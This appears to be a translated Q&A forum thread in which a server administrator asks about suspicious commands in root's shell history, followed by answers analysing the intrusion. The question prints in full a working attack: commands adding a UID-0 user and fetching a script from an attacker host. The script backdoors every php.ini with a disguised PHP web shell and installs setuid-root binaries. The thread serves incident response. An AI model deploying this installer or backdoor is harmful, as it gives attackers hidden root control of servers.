Conjunto estranho de comandos shell no .bash_history do root

Question

Provavelmente, acabei de detectar que um usuário em um servidor meu enraizou meu servidor, mas não é isso que estou perguntando.

Alguém já viu comandos como estes:

echo _EoT_0.249348813417008_;
id;
echo _EoT_0.12781402577841_;
echo $PATH && a='env |grep PATH | awk -F '=' '{print $2":/usr/sbin"}'' && export    PATH=$a && echo $PATH;
echo _EoT_0.247556708344121_;
whereis useradd;
echo _EoT_0.905792585668774_;
useradd -p saZlzoRm9L4Og -o -g 0 -u 0 aspnet;
echo _EoT_0.369123892063307_;
wget http://178.xxx.xxx.181/suhosin14.sh;
echo _EoT_0.845361576801043_;
chmod +x suhosin14.sh && ./suhosin14.sh && sleep 5 && ls -la && locate index.php;
echo _EoT_0.161914402299161_;
rm -rf /tmp/ZyCjBiU;
echo _EoT_0.751816968837201_;

Parece-me que é um trabalho de algum script automatizado, mas não sei qual deles.

Alguém tem alguma dica sobre isso?

OS é Debian Lenny, kernel 2.6.30-bpo.2-686-bigmem (se isso é importante).

By the way, o link no código acima é mascarado, quem quiser código que é baixado, eu fiz uma cópia, para análise, para que eu possa fornecer a pedido.

Editar: estou anexando o conteúdo do script .sh, como referência, se alguém estiver interessado.

#!/bin/sh
PHP='which php'
PHP_INCLUDE_PATH='$PHP -i|grep 'include_path' | awk '{print $3}' | awk -F ":" '{print $2}''

if [ -z $PHP_INCLUDE_PATH ]
then
    PHP_INCLUDE_PATH="/usr/share/php"
    mkdir -p $PHP_INCLUDE_PATH
fi

GETROOT_32=$PHP_INCLUDE_PATH"/suhosin32.so"
GETROOT_32_URL="http://178.xxx.xxx.181/32"

GETROOT_64=$PHP_INCLUDE_PATH"/suhosin64.so"
GETROOT_64_URL="http://178.xxx.xxx.181/64"

PHP_FILE_PATH=$PHP_INCLUDE_PATH"/suhosin.php"
PHP_FILE_PATH_SLASHED='echo $PHP_FILE_PATH | sed 's/\//\\\//g'';

for file in 'find / -type f -name 'php.ini''
do
    APPEND='egrep -v '^;' $file | grep auto_prepend_file'
    OPENBASEDIR='egrep -v '^;' $file | grep open_basedir'

    echo "[*] opendir:$OPENBASEDIR"

    if [ ! -z "$APPEND" ]
    then
        APPEND_CMD='echo $APPEND | awk -F "=" '{print $1}''
        APPEND_FILE='echo $APPEND | awk -F "=" '{print $2}''

        echo "[*] $file : $APPEND_CMD=$APPEND_FILE"
        echo "[~] need to replace auto append file"

        if [ ! -z "$APPEND_FILE" ]; then APPEND_FILE='echo "$APPEND_FILE" | sed 's/\//\\\//g'';fi

        sed "s/$APPEND_CMD=$APPEND_FILE/$APPEND_CMD=$PHP_FILE_PATH_SLASHED/g" $file > 1
    else
        echo "[~] need to add auto_append_file"

        cp $file 1
        echo "auto_prepend_file = $PHP_FILE_PATH" >> 1
    fi

    touch -r $file 1
    mv 1 $file
done

echo "[!] printing $PHP_FILE_PATH"
if [ ! -d $PHP_INCLUDE_PATH ]; then mkdir $PHP_INCLUDE_PATH; fi

cat >$PHP_FILE_PATH<<EOF
<?php
/**
* SUHOSIN, the PHP Extension and Application Repository
*
* SUHOSIN security patch
*
* PHP versions 4 and 5
*
* @category   pear
* @package    Suhosin patch
* @author     Sterling Hughes <[email protected]>
* @author     Stig Bakken <[email protected]>
* @author     Tomas V.V.Cox <[email protected]>
* @author     Greg Beaver <[email protected]>
* @copyright  1997-2010 The Authors
* @license    http://opensource.org/licenses/bsd-license.php New BSD License
* @version    CVS: \$Id: PEAR.php 299159 2010-05-08 22:32:52Z dufuz \$
* @link       http://pear.php.net/package/PEAR
* @since      File available since Release 0.1
*/

function suhosin_unxor(\$data,\$len,\$key)
{
    for(\$i=0;\$i<\$len;\$i++)
    {
        \$data[\$i]=chr((\$key+\$i)^ord(\$data[\$i]));
    }

    return \$data;
}

if(isset(\$_SERVER['REQUEST_URI']))
{
    if(isset(\$_POST['suhosinkey']) && isset(\$_POST['suhosinaction']))
    {
        if(\$_POST['suhosinkey']=='we48b230948312-0491vazXAsxdadsxks!asd')
        {
        if(isset(\$_POST['suhosindata']) && isset(\$_POST['suhosincrc'])
            && crc32(\$_POST['suhosindata'])==\$_POST['suhosincrc'])
            {
                \$data=base64_decode(\$_POST['suhosindata']);
                \$data=suhosin_unxor(\$data,strlen(\$data),ord('W'));

                if(\$_POST['suhosinaction']=="update")
                {
                    print "SUHOSIN OK\n".file_put_contents(__FILE__,\$data);
                }
                else if(\$_POST['suhosinaction']=="command")
                {
                    system(\$data);
                    print("SUHOSIN CMD\n");
                }
            }
        }
    }
}
?>
EOF

chmod 777 $PHP_FILE_PATH
touch -r /bin/ls $PHP_FILE_PATH

echo "[*] installing getroots ($GETROOT_32 $GETROOT_64)"

WGET='which wget'
CHOWN='which chown'

'$WGET $GETROOT_32_URL -O $GETROOT_32'
'$CHOWN root $GETROOT_32'
chmod 4755 $GETROOT_32
touch -r /bin/ls $GETROOT_32

'$WGET $GETROOT_64_URL -O $GETROOT_64'
'$CHOWN root $GETROOT_64'
chmod 4755 $GETROOT_64
touch -r /bin/ls $GETROOT_64

ls -la $GETROOT_32 $GETROOT_64

echo "[!] restarting ctls"
for ctl in ' ls  {/usr/local/{http*,apache*}/bin/*ctl,/usr/sbin/{http*,apache*}ctl} 2>&1 | grep -v "No such"'
do
    echo "[*] restarting $ctl"
    '\$ctl restart'
done
rm $0

Interessante.

    

Answer 1

Interessante, de fato.

Eu nunca vi isso antes, mas olhando para o script suhosin14.sh , ele é malvado. Ele modifica todos os arquivos php.ini que ele pode encontrar no sistema, na esperança de fazer com que o PHP prefixar algum código on-the-fly em cada página da web PHP renderizada (via auto_prepend_file ). suhosin14.sh também baixa e instala um par de módulos raiz da SUID, supostamente para obter seu código PHP pré-formatado para rodar com privilégios de root.

O script PHP pré-formatado ( suhosin.php ) contém um cabeçalho de comentário que faz com que ele faça parte do patch de segurança Suhosin para PHP, mas certamente não é. Em vez disso, o script assiste a solicitações HTTP POST específicas contendo comandos XOR-ofuscados, os quais são então ofuscados e executados (presumivelmente com root privileges, graças aos módulos de raiz da SUID).

Se essa coisa foi executada no seu sistema, é provável que ela esteja enraizada. Desfazer o que o instalador suhosin14.sh fez [especificamente: remover o PHP prepend-script suhosin.php , remover os módulos raiz da SUID suhosin32.so e suhosin64.so e restaurar o (s) arquivo (s) php.ini original] é provavelmente não é suficiente para garantir a segurança, pois alguém precisou obter root de acesso para executar o instalador com sucesso. Além disso, os comandos subseqüentes enviados remotamente por meio do PHP prepend-script poderiam ter instalado facilmente qualquer quantidade de rootkits ou outros backdoors.

Não há muito mais que eu possa sugerir, exceto talvez para verificar seus logs do Apache em busca de solicitações POST para páginas que normalmente não devem receber solicitações POST: essas são prováveis instâncias de comandos remotos enviados ao seu sistema. Infelizmente, os registros não informam quais comandos foram executados, mas você pode obter outras informações úteis, como endereços IP e registros de data e hora.

    

Answer 2

Isso também aconteceu comigo há alguns dias. Você está, por acaso, usando Drupal ou Wordpress? Estou curioso para saber se pode ser devido a uma vulnerabilidade com qualquer um desses CMS. Eu tive isso acontecendo três vezes agora e tomei algumas precauções de segurança, mas eles ainda parecem ser capazes de adicionar o suhosin prefixado ao nosso arquivo php.ini. Muito chato para dizer o mínimo. Qualquer informação adicional sobre possíveis causas ou soluções seria muito apreciada.

Obrigado José

    

Answer 3

uau, isso é incrível, exatamente o mesmo aconteceu comigo na quinta-feira e eles quebraram meu servidor inteiro. Eu ainda não sei o que tenho que consertar. Alguém pode me dizer?

Encontrei algumas coisas interessantes sobre isso em meus arquivos de log. Então eu conheço alguém conectado a ele e baixei um arquivo para o servidor, o que é bastante surpreendente. Eu até encontrei o mesmo IP que você postou antes.

--2010-11-25 23:16:18-- http://178.17.163.181/cbsdx Connecting to 178.17.163.181:80... connected. HTTP request sent, awaiting response... 200 OK Length: 8506 (8.3K) [text/plain] Saving to: cbsdx' 0K ........ 100% 94.8K=0.09s 2010-11-25 23:16:18 (94.8 KB/s) -cbsdx' saved [8506/8506] [Thu Nov 25 23:17:41 2010] [notice] SIGHUP received. Attempting to restart

Muito interessante é definitivamente o seu comentário sobre useradd como eu tinha uma linha dizendo:

Nov 25 23:16:24 s15398462 useradd[7815]: new user: name=aspnet, UID=0, GID=0, home=/home/aspnet, shell=/bin/bash

Eu uso o Wordpress também, então pode ser que esse seja o problema, mas eu tenho alguns outros programas, então quem sabe.